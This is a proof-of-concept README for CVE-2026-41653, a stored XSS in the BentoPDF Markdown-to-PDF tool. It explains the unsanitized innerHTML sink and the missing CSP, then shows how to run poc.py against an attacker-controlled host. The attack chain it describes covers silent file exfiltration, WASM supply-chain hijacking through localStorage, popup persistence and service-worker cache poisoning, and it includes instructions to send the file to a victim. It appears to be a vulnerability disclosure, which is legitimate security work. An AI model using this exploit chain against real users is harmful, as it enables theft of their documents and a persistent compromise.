
Proof-of-concept exploit for CVE-2026-41653, a stored XSS in BentoPDF that enables silent file exfiltration and WASM supply-chain hijacking.
Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Upstream advisory: alam00000/bentopdf GHSA advisory
NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF is a self-hosted, browser-side PDF toolbox (compress, merge, split, rotate, convert, Markdown-to-PDF, etc.).
The Markdown-to-PDF tool passes user-supplied Markdown through markdown-it with html: true and injects the rendered output directly into the DOM via innerHTML with no sanitization. An attacker who delivers a crafted .md file achieves arbitrary JavaScript execution in the BentoPDF origin.
Because BentoPDF is a fully client-side application, every tool (Compress PDF, Merge PDF, Split PDF, etc.) loads and processes files directly in the victim's browser. A single XSS is therefore enough to silently exfiltrate every document the victim opens in any tool during the session.
Attacker sends report.md (containing )
-> Victim opens it in Markdown-to-PDF
-> markdown-it renders raw HTML (html: true)
-> preview.innerHTML = html (no DOMPurify)
-> poc_payload.js loaded from attacker server (no CSP)
-> FileReader + <input type=file> hooked app-wide
-> hidden popup re-injects hooks on every tool navigation
-> every file the victim opens is silently exfiltrated
localStorage['bentopdf:wasm-providers'], redirecting PyMuPDF, Ghostscript, and cpdf WASM module downloads to an attacker-controlled host.window.opener and re-injects file hooks every time the victim navigates to a different tool, maintaining access across the entire session.bentopdf-* cache, appending an exfiltration hook to every /assets/*.js file served to the browser beyond the current session.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (lines 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // raw HTML tags pass through the markdown parser
breaks: false,
linkify: true,
typographer: true,
};
Tags like ``, <svg>, <details> and any event handler attributes (onerror, onload, ontoggle) are forwarded to the DOM as-is.
innerHTML injection (CWE-116)src/js/utils/markdown-editor.ts (lines 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // attacker-controlled HTML injected into DOM
this.renderMermaidDiagrams();
}
No sanitization library is applied between markdown-it and innerHTML. The browser parses the injected string, encounters the inline event handler, and executes it immediately.
nginx.conf ships with no Content-Security-Policy header. Injected JavaScript can freely load external scripts, issue fetch() requests to any host, and open popup windows. A restrictive CSP would have prevented the external-script loading stage even with the sink intact.
# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py will:
# - generate poc_report.md payload in the current directory
# - start listening for victim's callbacks and exfiltrated files
Send poc_report.md to the victim and ask them to open it in BentoPDF → Markdown-to-PDF. The payload fires the moment the preview renders, and all files the victim will upload in the future are exfiltrated to the attacker's server.
| Option | Default | Description |
|---|---|---|
--lhost | required | IP reachable by the victim's browser |
--lport | 9999 | Listening port |
--loot-dir | ./loot/ | Directory where exfiltrated files are saved |
--log-file | none | Append all events to a file (ANSI codes stripped) |
--no-color | off | Disable ANSI colors in terminal output |
1. Attacker server started with --lhost and --lport. The malicious poc_report.md is generated automatically.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Exfiltration server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot dir: /home/kali/loot
========================================================================
Malicious .md file ready: /home/kali/poc_report.md
Send it to the victim and ask them to open it in Markdown-to-PDF tool.
The payload fires as soon as the preview renders.
========================================================================
Waiting for victims...
2. Victim opens the Markdown-to-PDF tool in BentoPDF.

3. Victim loads poc_report.md. The preview renders, `` fails to load, onerror fires. poc_payload.js is fetched from the attacker server with no CSP to block it.

4. The payload runs its four stages: WASM provider hijack via localStorage, popup monitor spawned, FileReader and file-input hooks installed on the current page.

5. Victim navigates to Compress PDF. The popup detects the navigation and re-injects the hooks into the new page.